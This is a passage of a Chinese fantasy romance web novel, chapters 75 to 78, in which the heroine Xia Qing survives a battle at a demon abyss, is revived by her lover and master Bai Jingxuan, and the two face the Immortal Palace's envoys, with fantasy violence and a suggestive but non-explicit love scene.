“你哪敢真的杀了我?”白紫晴笑得娇媚,“因为你比任何人都更清楚,你那小心肝儿不过是我的一缕分识,若我死了,她也活不成,你敢说,你会爱上她,难道不是因为她比任何人都更像我?” 夏清趴在地上,但还没有完全昏迷。 这一大口瓜吃得她猝不及防。 她艰难抬起头来,渐渐模糊的视野中,仿佛投射出白镜玄青白交加,恼羞成怒的脸孔。 哦,所以白镜玄没有失忆,而且一早就知道她是魔族卧底? 不杀她只是因为……她是这位白紫晴妹妹的替身? 多狗血的文设。 这故事写得很好,建议下次别写了。 夏清迷迷糊糊这样想着,忽然眼前闪过一抹耀眼金光。 她身体一轻,转眼就置换方位,从大地来到高空,落入白镜玄怀抱之中。 白镜玄一只手揽着她的腰身,一只手缠绕金色符文。 一股股温和的力量顺着她与白镜玄绑定在一起的元神传递到她身上,迅速修复她体内伤势。 白镜玄长袖一甩,定沙神针以一化万,密密匝匝笼罩整个魔渊。 每一寸锋芒都直指魔渊下那张过于妩媚娇艳的脸孔。 “白紫晴,我的清儿,同你不一样。” 第75章 第七十五章 夏清被突如其来一口糖齁得晕乎乎的。 剧烈焚烧的五脏也在白镜玄不断输入体内的法力安抚下舒缓过来, 勉勉强强算是捡回一条命。 模糊的视野渐渐恢复清晰,夏清目光落在白镜玄侧脸上,被白镜玄这张无敌美颜自带的光环晃得头晕眼花。 啊哦, 她好像真的要变成恋爱脑了。 白镜玄现在这个样子, 真是该死的有魅力。 这一次, 轮到魔渊下那黑影气急败坏, 骤然拔高的声音昭示着它的主人情绪破防:“不一样?哪里不一样?难道因为她比我废物?!” 白镜玄冷哼一声,没有解释, 缠绕于手腕间的金色符印飞腾出去,化作一条金灿灿的神龙,盘旋着冲向魔渊。 定沙神针同时动了起来, 嗖嗖嗖如密集的雨点子砸向白紫晴。 笼罩在白紫晴身侧的魔雾被定沙神针一片片削掉, 她的真身暴露在定沙神针射程之中。 唰唰一阵密集的攒射之后,她的身体四处破洞,缕缕魔气从破溃的伤口喷涌出来, 像被戳了口气的汽车轮胎,丝丝朝外漏气。 白镜玄眉头微蹙。 分散的定沙神针威力不足,加上她耗费了太多法力治疗夏清,这一击竟然未能击杀白紫晴。 魔渊之下, 白紫晴状若癫狂地笑起来。 “我说过的,我要你此生最珍爱之物,你若图名,我便让你身败名裂, 你若贪权,我便要你众叛亲离, 你若……动了情,我便要你所爱万虫噬心, 我要你生生世世不得安宁!” 下一瞬,她残缺的身体开始崩碎,比先前更加森冷的可怕压力从地底深渊往上沸腾。 与此同时,夏清胸口一阵尖锐闷痛,哇地吐出一口逆血。 元神感应之中,她的五脏六腑正和白紫晴同步坍缩。 白镜玄脸色大变:“清儿!” 夏清识海内,走马灯似的闪过重重画面。 从她被白紫晴用分识制造出来,通过重重手段送到白镜玄面前,到她日复一日,安安静静陪伴在白镜玄身边。 她是一个乖巧的弟子,从来不给白镜玄惹事。 起初,白镜玄看她的眼神是冷的。 而白镜玄留下她的原因,也是想看看白紫晴这一次想利用她搞什么幺蛾子。 白紫晴对白镜玄怀揣不可言说的感情。 她因妒忌白镜玄和旁人多说一句话,便将那人眼睛戳瞎,舌头割了,她依仗自己的身份,理所当然地要求白镜玄对她倾注绝对的偏爱。 事实上,白镜玄确实对她一忍再忍,直至忍无可忍。 因为白镜玄与仙宫神女切磋,称赞对方剑法玄妙,白紫晴竟然炼制魔毒废了神女的仙脉。 神王暴怒,遣仙宫神将缉拿白紫晴,白镜玄主动请缨,捉住白紫晴后,亲手抽了她的仙筋为神女疗伤,而后又断了她的仙骨,将她打入魔渊,万劫不复。 白镜玄便因为此事,与仙宫之人断绝往来。 白紫晴对白镜玄因爱生恨,恨之入骨,恨不能将她碎尸万段。 既无法将她占有,又无法与她共生,那就摧毁她最在乎的东西。 为此,她制造了夏清。 一个无法修炼,却乖巧听话,对白镜玄百般关心呵护,顺从白镜玄一切意愿的傀儡。 夏清不负白紫晴所望,因为她太听话,太温顺,以至于白镜玄哪怕明知她是白紫晴对付她的工具,她也没忍心驱逐夏清。 日复一日,年复一年,夏清什么也没有做,反而因为不能修炼,被紫霄峰同门欺负。 一开始,白镜玄视而不见,峰内弟子最擅长察言观色,既然白镜玄不管,他们就愈发变本加厉。 夏清每回出现在白镜玄面前都是满身伤痕。 有一次,她的脸被人划破,崭新的伤口还未结痂。 但见到白镜玄,她没有哭诉委屈,也没有请求师尊出手替她出头,而是恭恭敬敬行一礼,浅浅唤一声“师尊”。 白镜玄沉默须臾,倏而开口:“抬头。” 夏清于是依言抬起头来,眼底澄澈如一汪清潭。 白镜玄* 又问:“你不恨?” 夏清反问:“恨能让人这些人不再伤我?” 白镜玄摇头:“不能。” 夏清于是垂下眼眸:“那恨之何用?” 这一日,紫霄峰上忽然传出一道法令:再有同门相逼而伤人者,逐出紫霄峰。 当天,有个不醒活的弟子半路拦截夏清,问她是不是向峰主告了状,其势之恶,笃定峰主下令乃是夏清所为,扬言要她付出代价。 此人话音刚落,白镜玄与几位长老就出现在他身后。 这名弟子被当众废了修为,扔出紫霄峰,而他的师父师伯们半个劝阻之言也不敢说。 白镜玄可是连亲妹妹都能亲手废掉的刚正不阿之人,他们门下弟子犯了事,若不按法令惩处,只怕他们都要受到牵连。 自此之后,白镜玄对夏清的关注也越来越多,不仅亲手教她绘画写字,还带她饮茶赏花。 日复一日的相处中,夏清忘记了自己最初的目的,对白镜玄心生爱慕。 但她却从不将自己的心声表露。 因为她知道爱上白镜玄会是怎样的下场。 可让她没想到的是,白镜玄在某个鸟语花香的月夜,执起她的手,问她,可愿与之结为仙侣,执子之手,共赏春花秋月。 夏清本能地拒绝了。 可是,这消息不知从何途径,还是传入白紫晴耳中。 时机成熟。 白紫晴夹带着对夏清的疯狂妒忌,制造了魔渊异动,让卧底将夏清抓走,引诱白镜玄前往魔渊。 为救夏清,白镜玄果然甘赴这显而易见的陷阱。 这无疑让白紫晴更加痛恨。 白镜玄与白紫晴在魔渊下恶战一场。 此番她不再留有任何余地,将白紫晴彻底诛杀。 可是,白紫晴死的时候,一点也没有悔悟,反而笑得无比猖狂。 夏清在白镜玄眼前五脏破碎,肉身糜烂,连同她的魂魄也要灰飞烟灭。 白紫晴的笑声如魔咒般回环在白镜玄耳边:“你亲手杀了她!哈哈哈哈哈!!是你!亲手杀了她!!!” 为了留住夏清一缕神魂,白镜玄当场剖心取血,施展上古禁术,以百年寿元为代价,让那残魂以她的心血为容器,逆转时光,回到她向夏清表明心迹那一夜。 时间的确按照白镜玄施展的咒术之力回溯,但夏清却没有完全回来。 她的残魂在时光回溯的过程中走失,跳转到异虚空之中,以白镜玄之力也无法寻回。 这一夜,夏清倒在白镜玄怀里,只剩下一具躯壳。 但咒术还没有结束,它源源不断将夏清散落的魂魄从异虚空中抽回,只是醒来尚需要时间。 预计夏清醒来,需要十年。 因此,白镜玄决定闭关。 “清儿!” 白镜玄的呼声仿佛响在耳边,却又好像来自很遥远的地方。 是回忆,还是幻景? 她的脑子仿佛也在迅速崩溃,根本无法思考。 手背上的印记开始灼烧,滚烫,但如此炽烈的温度也无法让夏清继续保持清醒。 她是不是要死了? 还是逃不过命运给她书定的结局? 原来她在蓝星那段人生才是真正的虚妄,她的根竟然在这荒谬的故事里。 人果然无法反抗命运,那么她所经历的这一切,又是否能用大道至简的周易解释得清? 如果人生是一次次无解的轮回,那还不如就让一切终止在此处。 至少,也要让她死得有一些价值,而不是像她上辈子,都没来得及表现一下,那么无声无息地就牺牲了。 因而,在感觉自己体力即将被抽尽的时刻,夏清不知哪里来的一点力气,回光返照一般伸手抓住某样东西。 “别再……复活我了,我不想活了。”夏清艰难说道,将手中之物塞到白镜玄手中,“你拿着这个。” 白镜玄正要剜心,却听得夏清此言,霎时双眼通红。 她低下头,看向夏清递到她手中的东西。 是一块黑色的石头。 夏清说:“这是……神碑。” 用神碑封印魔渊,就算她的结局死路一条,封印了魔渊,也就断绝了日后魔族再出来祸害人间。 这女魔头真的太狠了,夏清怕了,就用她的死,换来最后一点价值。 也算,不枉此生了。 这念头划过脑海,她的意识开始消失,像有一股力量在不断拉扯她的魂魄,要把她的魂魄撕碎。 然而下一瞬,眼前金光大方,一瞬间将她笼罩。 不断抽拉她魂魄的力量突兀地消失了。 夏清愕然,意识似乎转醒了一点点,她眨了眨眼,视野从朦胧变得清晰。 但见白镜玄手中,那巴掌大的黑色神碑倏然破碎。 一股股白色光芒涌入夏清的身体中,将她浑身伤势迅速修复。 耳边,白镜玄的声音极尽温柔,压抑着不易觉察的颤抖。 “清儿,没事了。” 夏清:“……?” 第76章 第七十六章 夏清无了个大语。 她把神碑交给白镜玄不是为了让白镜玄救她的呀! 白镜玄不镇压魔渊, 等那底下魔族都跑出来,她们一样完蛋!还白搭一个白镜玄。 不过话又说回来,这个神碑居然还有起死回生的功能? 一瞬间, 夏清脑子里闪过好多念头, 待模糊的视野恢复清晰, 迎面便撞上白镜玄深邃悠远, 脉脉长情的目光。 那眼神深情得仿佛能滴出水来,夏清看她一眼, 比感动更先蹿腾起来的情绪是……肉麻。 哎呀,镜玄仙尊,脚下封印摇摇欲坠, 背后魔气攒动, 她的眼神却专注得好像天地之间没有比夏清的伤势更重要的事情。 “我死不了了。”夏清难为情地撇开脸,又为因自己的缘故浪费了一块神碑而心存羞愧,伸手推开白镜玄的脸, “快把魔渊封印了,别拎不清。” 白镜玄脸被夏清推开,但视线却还黏在她身上。 不管夏清说什么,她都面带微笑, 不急不缓地点头:“好。” 夏清:“……”咳。 她错了,她真是个罪人。 看白镜玄都变成什么样了,哪还有半点仙尊的矜贵,甚至变得有点憨。 白镜玄答应要封印魔渊, 但搂在夏清腰间的手却不松开。 不等夏清再向她提反对意见,她率先将夏清紧紧拥在怀里, 而后不情不愿地分出半缕心神,将一串串符纹注入脚下的封印。 魔渊中, 白紫晴的魂魄已化作灰飞,与白镜玄纠缠半生的孽债总算解开。 白镜玄面色平静,无波无澜。 夏清从侧边望着她的脸庞,心里暗暗揣摩着白镜玄是不是真的一点都不难过。 白紫晴再怎么荒谬,却终究是白镜玄的妹妹,白镜玄当初没忍心下手,放她一条生路,大抵也是顾念着这一点姊妹之情。 夏清正出神,白镜玄忽然开口:“会有一点遗憾。” 遗憾?遗憾什么? 夏清愣了须臾才反应过来,哦,白镜玄又偷听了她的心声。 白镜玄回答的,是她心底暗暗闪过的疑问。 会遗憾,才是人之常情。 遗憾她们原本拥有与生俱来的熟稔和默契,本该对彼此最了解最信任,可白紫晴我执太重,她足够了解白镜玄,却不能对她抱以理解与尊重。 所以她成为了白镜玄的枷锁,而非灵魂的寄托。 夏清目光从白镜玄侧脸上挪开,看向她们脚下金光闪烁的封印。 大片大片魔气在封印下卷动,魔物们跃跃欲试,但顾忌白镜玄身侧三千剑诀的神威,不敢贸然冲出来。 它们已经失去了最佳的突围时机。 封印上的裂缝一条一条缝合,灿金印纹形成的光罩被修补完整,将魔渊入口和荒古遗迹的联系完全切断。 某时,白镜玄探手一挥,金光闪耀,魔渊洞口竟然肉眼可见开始收缩。 白镜玄五指弯曲,形成抓握的姿态,手攥得越紧,魔渊洞口就变得越小。 当白镜玄五指猛攥成拳,黑洞洞的魔渊便在夏清眼前消失了。 这可真是非常不得了的能力,白镜玄一个人就抵得上千军万马。 夏清想了想,问:“没有神碑,这封印能管多久?” “大概一百年吧。”白镜玄如实告诉夏清,“每隔三个月,我要来加固一次。” 夏清又问:“用神碑封印呢?” 白镜玄回答:“五千年。” 夏清:“……好亏。” 一块神碑,抵白镜玄连跑五十趟。 白镜玄却道:“不亏。” 这块神碑能救回夏清,别说只是让她每隔三个月下蛮荒加固封印,就算让她以命换命,她也愿意。 夏清嘴上抱怨白镜玄不会算账,背地里嘴角却一个劲往上跳,比AK还难压。 魔渊封印加固结束,白镜玄要带夏清离开荒古遗迹,夏清脑子里忽然划过一个问题。 她问白镜玄:“你一早就知道我是魔族卧底?” 白镜玄:“嗯。” “那你也知道那瓶魔药有毒?” “嗯。” “那你……”夏清深吸一口气,额角青筋开始往外跳,“说给伴侣契约下禁制让我可以保留秘密,也是骗我的?!” “……”白镜玄面上闪过刹那尴尬,清了清嗓子,“只是权宜之计。” 夏清:“!” 好家伙,她怎么会真的相信白镜玄老实! 这么说来,每天她心里嘀嘀咕咕担心身份暴露东想西想那么多东西,白镜玄一条没漏全听了去。 却还在她面前装成什么也不知道的样子,任由她一个人担惊受怕。 过分! 夏清感动了没几分钟就开始生闷气。 并决定两个时辰不搭理白镜玄。 “清儿。”白镜玄唤夏清。 夏清不理她。 却听白镜玄自顾自说道:“暂时不回仙界了。” 夏清:“???” 她倏地扭头看向白镜玄:“怎么?” “蛮荒土地虽然贫瘠,但无事叨扰。”白镜玄说道,“先前来蛮荒一趟,都没与清儿四处走走看看。” 仙界和蛮荒有时间差,群峰试炼算起来还得好几日才结束,这期间她和清儿完全可以在蛮荒过一阵潇洒日子,等到试炼快结束时再回去。 夏清不以为然:“还是去了不少地方。” 白镜玄中毒变成小雪貂那会儿,她为了寻药走了那么远,白镜玄这就忘了? 哦,说起来,她倒是想起个事儿。 夏清唇角勾起,邪魅一笑:“你这么想留在蛮荒,该不是因为那几个前情未了的桃花吧?” 白镜玄:“……这就回仙界。” 夏清被白镜玄逗笑了,故意咬着她不放:“几个意思?心虚?” 周围景物一转,她们已离开荒古遗迹,出现在一片山清水秀之地。 此处地势较高,视野开阔,风景优美。 不过,从气压密度和天地灵气蕴含的浓度来看,她们应该仍在蛮荒。 不曾想蛮荒竟还有如此秀丽之所,夏清目光被景色俘获,心里却想:白镜玄为了逃避问题,居然带她来看风景。 这小手段未免也太拙劣了。 如此想着,忽然白镜玄握住夏清的手,将她一只手拽过来,按住自己的胸口。 夏清:“?!” 手掌下软绵绵的,独特的触感激活了她手背上的伴侣契约,她们绑缚在一起的元神好似轻轻碰撞一下,白镜玄面色微红轻哼一声。 夏清懵逼,手掌盖在过于暧昧的地方,往前推也不是,往后退也不是。 搞得她活像个猥琐的变态。 她不由心虚地左右各看了一眼。 眼下她们身处一座小亭,四周皆挂着帘幕,半透明的帘幕上绣着比翼双飞的蝴蝶。 这么偏僻的地方怎么会有房子,而且还布置如此精美…… 夏清心想,视线转回白镜玄,猝不及防撞上白镜玄含情脉脉的目光。 她果断承认:“我踏遍蛮荒万水千山,所有风景秀丽的无人之处,都准备了屋子。” 夏清:“???” 修那么多房子做什么? 与白镜玄对视片刻,夏清明白了。 咳。 感情你之前追伐魔人是假,假公济私为真。 真是恬不知耻! 夏清羞得面红耳赤,嘴巴上却还犯贱:“是为了更方便会情人?” “什么桃花不桃花情人不情人的,反正也解释不清楚。”白镜玄望向夏清,一副豁出去的态度,“不如……清儿狠狠惩罚我。” 夏清:“!” 这么说合适吗!合适吗?!她可要当真了! 她们经历了那么一场生死攸关的大战,一起度过危机,不该坐下来彼此依偎,互诉衷肠,回忆美好旧时光吗?怎么一上来就整这么劲爆少儿不宜的内容? 夏清正愣怔呢,白镜玄衣襟竟然自己松开,宽松的领口往下滑了几寸,露出半截优美的肩线。 白镜玄身子前倾,夏清手掌的触感愈发鲜明。 她瞳孔颤了颤,视线情不自禁朝那只正作奸犯科的手掌瞄一眼。 肉眼可见充实的衣料溢出指缝。 嗷嗷嗷。 她虽然僵着身子没有进一步行动,但此刻她直勾勾看向白镜玄的眼神肯定特别禽兽。 偏偏白镜玄好似对自己做了什么毫不自知,犹自微仰着头,那双莹莹闪烁的眼眸似盈着一蓬泪光,如泣如诉我见犹怜:“清儿……不想吗?” “!” 夏清倒吸一口气。 这绝不能怪她没有定力。 白镜玄像这样撩,换谁不疯啊。 还管什么环境风度气氛,冲就完了。 不等白镜玄再使手段,夏清曲起指节狠狠揉了两下,先过一过手瘾。 白镜玄身子一颤,红云霎时爬满她的脸颊,唇齿间也无法自抑地溢出一声轻轻浅浅的吟哼。 这声儿比小猫的爪子还要挠人。 夏清耳朵都快酥了,将这欲语还休的美人揽入怀中,照着那一双柔唇吻上去。 白镜玄的嘴唇薄得特别性感,有种不近人情拒人于千里之外的凉薄感,但也因此显得特别禁欲。 当她白皙如玉的脸颊染上红尘烟火,眼尾飘散一抹薄红,高雅矜贵的仙子从九天之上义无反顾地坠落凡尘,这才是最惊心动魄的时刻。 而此刻,这位谪仙自甘堕落,主动投入夏清怀中。 夏清耳边回环着白镜玄喑哑的轻喘,间或夹杂着一声声她的名字。 白镜玄竭尽全力将她拥紧,那双薄唇主动探寻落点,似要倾尽余生与夏清狠狠纠缠。 用每一寸彼此接触的肌肤传递的温度驱散十年茫茫无期的等候带来的恐惧。 夏清忙得忘乎所以。 她刚刚死里逃生,身体素质跟不跟得上? 算了,不重要。 牡丹花下死,做鬼也风流。 小亭四周帘幕垂落,隐约映出一双人影。 枝头鸟儿惊起,微风拂过,白云悠悠。 第77章 第七十七章 夏清和白镜玄在蛮荒待够了半年, 然后才慢悠悠地回到仙界。 回到九瑶川大门前,夏清忽然想起来,还有一件还算重要的事儿。 “九瑶川主是魔族卧底。”夏清告诉白镜玄, “跟队的长老也有一个, 紫霄峰内应该还有不少。” 白紫晴想让白镜玄身败名裂, 痛不欲生, 可算是绞尽脑汁,用尽手段。 如果不是白镜玄为了夏清甘愿折损寿元回溯时间, 还真的就让她得逞了。 白镜玄听夏清说完,点头嗯一声,然后, 没下文了。 夏清扭头看她, 她似有所觉,也转过头来同夏清四目相对。 下一秒,白镜玄凑过来亲了亲夏清的脸。 夏清:“……” “你不觉得这件事问题很严重吗?”夏清拧起眉, 尝试让自己的神情看起来严肃一些,“你四面楚歌诶!” 白镜玄毫不在意地说道:“我知道。” 你知道个屁! 夏清气得牙痒痒,白镜玄又道:“不是我,是我们。” 说完, 她朝夏清摊开手,邀请夏清握住她的手:“要清儿牵牵才能走。” “……” 夏清白她一眼,而后握住她的手掌。 两只手指缝交错,十指相扣。 白镜玄这才勾起嘴角, 露出满意的笑容。 她们漫步在白玉石雕砌的长廊上,如果白镜玄愿意, 一步踏出便能抵达九瑶川川府,但她偏不疾不徐, 要和夏清手牵手,将这条路走到天荒地老。 夏清忍不住问她:“我们是不是走得太慢了?” 白镜玄唇边噙着笑意,脑袋一歪靠在夏清肩上:“但我觉得刚刚好。” 行叭。夏清耸肩,白紫晴都嘎了,剩下这些魔族卧底就算全部联手,那也掀不起什么风浪。 夏清陪着白镜玄慢悠悠地走向九瑶川。 步子再慢,道路也有尽头,九瑶川川府的大门呈现在夏清二人眼前时,夏清下意识要将白镜玄的手松开。 但白镜玄不让她抽手。 夏清尴尬:“照理说,我现在应该还在川府跟其他弟子一块儿参加试炼。” 言下之意是,跟白镜玄一块儿进去,不就将她逃课的事情广而告之?那所有人都会知道她中途跑了。 其实,夏清心里还有一层顾虑。 她是诞生自白紫晴的分识,和白紫晴共享一部分魂魄,虽然如今白紫晴已经死了,但知道她魔族卧底身份的魔人不少,白镜玄或许不在乎别人怎么看她,但她的身份会不会给白镜玄招致危险? 比如……仙宫那边。 白紫晴毒害神女之事人尽皆知,倘若她是白紫晴分识这件事捅进仙宫,只怕神王不会放过她。 夏清正头脑风暴呢,忽然手指被人捏了捏。 扭头,白镜玄正专注深情地凝望着她。 夏清睨她一眼:“怎么?” 这段时间,白镜玄时时刻刻都是这副样子,她早已经习惯了。 虽然还是会心动,至少不像最初那样上头上脸。 白镜玄眼里笑意平添了几分无奈,垂在身侧另一只手抬起来,捏捏夏清的脸颊。 “清儿,别想那么多。”白镜玄温温柔柔的语调透着难以抵挡的魔力,“世上没什么事能万万周全,尽管顺风行船,随机应变。” 呵,说得倒是轻松。 夏清撇撇嘴,白镜玄这副傻样,比她还佛系随缘,真的没问题吗? 有问题没问题也来不及再细想了,因为川府内已经有人看到她们,并快步走出来相迎。 白镜玄除魔归来的消息很快扩散开去,九瑶川主满头大汗地跑出来迎接,看到白镜玄毫发无伤时,他脸色骤变,而再看清白镜玄身侧的夏清,他瞬间瞳孔地震。 夏清感受到前来相迎的人群中若隐若现的敌意,心想:如此看来,今日之后她更加不能离开白镜玄了。 这念头划过脑海,夏清若有所悟。 她十分有理由怀疑,这是不是白镜玄的阳谋? “镜玄仙尊!”九瑶川主快步走下白玉阶,颤声恭贺白镜玄凯旋归来,同时旁敲侧击地试探,“魔渊那边……” 白镜玄一本正经地回答:“本座成功封印魔渊,魔头已除,灰飞烟灭。” 九瑶川主听完这话,脸色又白了两分,夏清看见他双腿似乎有点发抖。 随即,他的视线落到夏清身上。 夏清有那么一瞬间的紧张,她很担心九瑶川主受不了这么沉重的打击失去理智,要当众戳穿她的身份。 虽然这样做的话,他自己也讨不了好,却还是不能排除他脑子一抽,要和她玉石俱焚的可能性。 但是,他什么也没说,只是又拱手道了声恭贺,便向旁边让开,引白镜玄和夏清回到试炼用的白玉台。 夏清与白镜玄二人现身人前,确如夏清猜想的那般,数不清的视线从四面八方汇聚过来,一半看向白镜玄,一半看向夏清。 他们非常疑惑,不知道夏清是什么时候离开的,竟还和白镜玄一同回来。 不过,念及夏清是白镜玄的弟子,这一幕似乎也并不奇怪。 白镜玄仍毫不避讳地牵着夏清的手,夏清被迫顶着密密麻麻的目光穿过人群,回到紫霄峰众人所在的等候区。 那名给夏清发仙丹的长老表情管理差点失控,但顾及白镜玄在场,不敢贸然发作。 柳菡云怼了怼夏清胳臂:“你什么时候出去的?” 夏清歪头想了想,对她来说,从九瑶川溜走已经是半年前的旧事,细节早已模糊了。 于是她信口胡诌:“我担心师尊安危,所以请求川主送我去蛮荒。” 柳菡云闻言龇了龇牙:“你胆子可真大。” 当初她要去蛮荒寻金灵草都被湘忆颜狠很训斥,夏清居然敢只身去魔渊找白镜玄。 幸好夏清安全回来了,柳菡云心想,否则如果夏清没有和白镜玄汇合,等白镜玄镇压了魔族回来发现夏清不见了,那就是另一个故事了。 试炼继续推进,九瑶川主结合十二位长老修复了九瑶镜,重启试炼流程,只不过这一次,除开已经通过试炼的夏清,从剩余未淘汰弟子中,再竞出九人。 后续几日的试炼夏清都不必参与,实在有点太闲了,无聊。 好在,夏清有白镜玄弟子的身份做掩护,可以光明正大靠在白镜玄身边,哪怕呼呼大睡也不用担心被魔人刺杀。 肉身的伤好养,而魂魄的伤难愈。 夏清从白镜玄口中得知,原来神碑还有蕴养神魂之效。 这也是为什么当初寄存于神碑中的聚灵能拥有如此强大的魂魄力量。 也只有此物能保住夏清神魂,可谓阴差阳错,她命不该绝。 不过,虽然有神碑加持,加固了夏清的魂魄,但她神魂所受的创伤也不是一日两日就能好,在蛮荒这半年,白镜玄日日缠着她双修,用自己的法力替她修复魂魄,伤势也才好了不到一成。 因此夏清非常嗜睡,靠在白镜玄肩头,不一会儿就厥过去。 一觉睡到群峰试炼结束,夏清意识回笼,感受到源源不断的温暖从与白镜玄相牵的那只手传入她的身体。 还未睁眼,便先甜到。 这一觉睡得充足,夏清感觉精神头好了许多。 正待睁开眼睛,看看试炼进行到何处,便忽而听得一声怒斥:“一个魔族卧底,绝不可能入仙宫修行!” 夏清霎时清醒了。 睁眼,杂七杂八的人将她团团包围。 众目睽睽之下,只有白镜玄站在夏清身侧,两人双手仍紧紧相握。 觉察她醒来的动静,白镜玄毫不理会旁人叫嚣,扭头看向夏清:“清儿,吵到你了?” 夏清摇了摇头,看向对她怒目而视的老头。 哦豁,她的身份果然还是被人捅到仙宫。 九瑶川川主站在人群后,围观她们的人除了九瑶川各峰弟子长老,还有几个衣着华贵,气质和实力都不同寻常的老者跟在白胡子老头左右两侧。 “不去就不去啊。”白镜玄淡淡地说,“清儿不是非要去仙宫。” “这是重点吗?!”那白胡子飘飘仙人模样的老头气的胡子翘起来,指着白镜玄身边的夏清,“她活着,白紫晴就没有死!” 白镜玄看向他,沉声:“白紫晴已经死了。” 她说这话的时候嗓音压得很沉,霎时空气温度骤降五度,那白胡子老头和他身侧一众仙宫高手竟然都情不自禁后退一步。 “神碑被白紫晴打破,魔渊封印只能镇压魔族一百年,需每隔一段时间就加固一次。” 白镜玄眼神凉薄地瞥他们一眼,自顾自地继续往下说,“如果你们非要为难清儿,那这事儿本座就不管了,要不,你们自己去?” 众人:“……” 夏清:“。” 好家伙,不愧是你,白镜玄,原来在这儿等着呢,说谎都不眨眼。 她先前怎么会担心白镜玄会吃亏? 第78章 第七十八章 来自仙宫的白胡子老头们被白镜玄气得吹胡子瞪眼。 谁能想到, 白镜玄竟然说出这种话。 仙宫虽有高手无数,但各个流派封印手法不尽相同,如果不能以相同的符诀加固封印, 那么很可能无法发挥完整效力。 他们让白镜玄去处理此事, 没想到搬起石头砸了自己的脚。 “白镜玄!”那老头恶狠狠地说道, “若再发生之前那样的事情, 你就是把自己的仙筋仙骨全部奉上,神王也断然不会轻饶你!” 白镜玄抬了抬眼皮, 轻描淡写:“哦。” 老头子可不敢继续跟白镜玄讲话了,他一把年纪了,跟白镜玄多说一句话, 损十年寿元。 这位实力超绝的镜玄仙尊, 简直是个泼皮无赖! 老头子拂袖而走,跟在他身后的仙宫高手在短暂面面相觑之后,也跟着转身离开。 于是乎, 人群安静下来。 连仙宫使者都拿白镜玄无法,九瑶川主及四周一众试炼弟子,谁也不敢当出头鸟与白镜玄争锋。 夏清扭头问白镜玄:“这就结束了?” 白镜玄点头,语气从容:“嗯, 结束了。” “他们不抓我,也不杀我?”夏清再次确认。 白镜玄回答她:“没有人能杀你。” 夏清长舒一口气,眉梢眼角浮现喜色:“这么说来,我也不用去仙宫修行了?” 白镜玄微微笑:“不用。” 刚才闹成那个样子, 夏清若出现在仙宫,只怕这些老家伙想方设法都要阴她, 夏清委实觉得没有必要。 还是和白镜玄待在一起好,夏清心想。 不仅可以游山玩水, 还能纵情声色,夜夜笙歌。 这念头一闪而过,白镜玄忽然凑近,红唇贴着夏清的耳朵:“那清儿今夜想玩什么?” 周围人群还未散去,这一幕被许多人捕捉。 夏清脸皮再厚也忍不住微微发红,尴尬地清了清嗓子:“回去再说。” “好。”白镜玄眼底带笑。 那笑意浮现在眉眼间,带着几分调侃的味道。 夏清被她这笑臊得脸红,不与白镜玄对视,只当无事发生。 此次群峰试炼,紫霄峰跻身前十的弟子除了夏清,还有一个柳菡云。 但是,因夏清的缘故,紫霄峰被取消了此次群峰试炼的进阶名额。 也就是说,夏清和柳菡云,都被仙宫拒之门外。 为此夏清多少有些愧疚,于是专程找柳菡云道歉。 柳菡云倒是洒脱,摆了摆手:“又不是只有去仙宫修炼才能提升,我倒是觉得蛮荒之行比起仙宫更有意义。” 从仙界去蛮荒之后,最初的确很不适应,法力不够用,用尽了恢复起来十分缓慢。 可一旦适应了蛮荒的环境,人的潜力就会被挖掘出来,她从蛮荒回到仙界,修为又精进了一大截。 因而,此次虽然没能去成仙宫,但她可以请峰主批准她再去蛮荒历练历练,说不定还能叫上江梓秋一块儿。 其实之前柳菡云选择搭档的第一顺位是夏清,可是吧,夏清是白镜玄的弟子,又有了那么一层关系,白镜玄看夏清看得那么紧,柳菡云可不想自讨没趣。 白镜玄将带弟子们回紫霄峰的任务全权扔给长老,至于那个魔族卧底,白镜玄淡淡瞥过,没说什么,带着夏清一个空间传送就至千里之外。 夏清疑惑问她:“峰里那些魔族当真不管么?” “他们不会怎么样。”白镜玄回答夏清,“白紫晴已经死了,现下只有你是她一缕分识,这些卧底若还想东山再起,就务必要利用你的身份。” 夏清迟钝的脑子转了转,好像明白了白镜玄的意思。 白紫晴死了,这些埋伏在仙界的魔族群龙无首,谁想单独握权都不现实,内讧,分崩离析是必然结局。 但同时,夏清又还活着。 主神识与分识同源,按理说主神识死了,分识是活不了的,但夏清却活了下来。 这便意味着,夏清很有可能取代主神识白紫晴,成为新的魔渊之主。 有了这一层隐秘的期望,紫霄峰内魔族定会配合商议,要让夏清代白紫晴完成魔族复兴大计。 只要他们来找夏清,就会被白镜玄全部歼灭,因而白镜玄丝毫也不担心。 姜还是老的辣,夏清心想。 看看白镜玄这计谋,这成算,真是天衣无缝,夏清自愧不如。 这时,白镜玄的声音在夏清耳边响起来:“你说谁老?” 夏清暗暗啧一声,这女人怎么这么斤斤计较。 白镜玄又问:“谁斤斤计较?” 夏清:“……” 她扭头瞪白镜玄一眼:“你能不能把心声功能关掉。” 白镜玄一本正经:“不能。” 夏清拿白镜玄毫无办法,气得牙痒痒,伸手揪起她的脸蛋儿捏一捏,揉一揉。 白镜玄任由夏清把她的脸捏变形,玉白肌肤被捏得微微发红。 夏清捏着捏着就有点上瘾,又凑近白镜玄耳边闻一闻。 白镜玄身上的味道特别好闻,夏清喜欢趴在白镜玄怀里深呼吸,那一阵阵紫藤花香沁人心脾,能挥扫一整天的郁气。 夏清贴在白镜玄耳边,闻一闻,亲一亲,聊表亲昵之心。 便在此时,白镜玄忽然开口:“……清儿想在这里?” 这里什么? 夏清一时没反应过来,直到对上白镜玄欲语还休的眼神。 左右看了看,她们好像才刚出九瑶川,在一片翻滚变幻的层云之中。 夏清:“……” 她擂起拳头给白镜玄肩膀来一下:“你怎么这么不正经?” 白镜玄视线垂落,眼神中带着温温* 柔柔的笑意:“哪儿不正经?” “哪里都不正经。”夏清嘟囔。 一天天的,脑子里只想双修那点事儿。 “可是,明明是清儿喜欢的。”白镜玄表示委屈,“清儿先前介绍的一百零八种play,还没有挨个试过。” 夏清:“!!” 这是能公开讨论的内容吗?! “为什么不能?”白镜玄凝望夏清,双眼亮晶晶,“仙侣双修,天经地义。” 夏清被白镜玄打败了,一整个面红耳赤。 白镜玄还不放过她,继续追问:“清儿现在不喜欢了,是我哪里做得不好吗?” “没,没有。”夏清语无伦次,只想快点结束这个话题。 自从她给白镜玄做了科普,白镜玄好像完全误会她,真把她当成变态了。 邀请她一起玩的项目一个比一个疯。 之前好歹还在屋子里,可这会儿是在野外啊! 虽然白镜玄随手设一个禁制,方圆百里都不会有人靠近,但夏清还是很没有安全感。 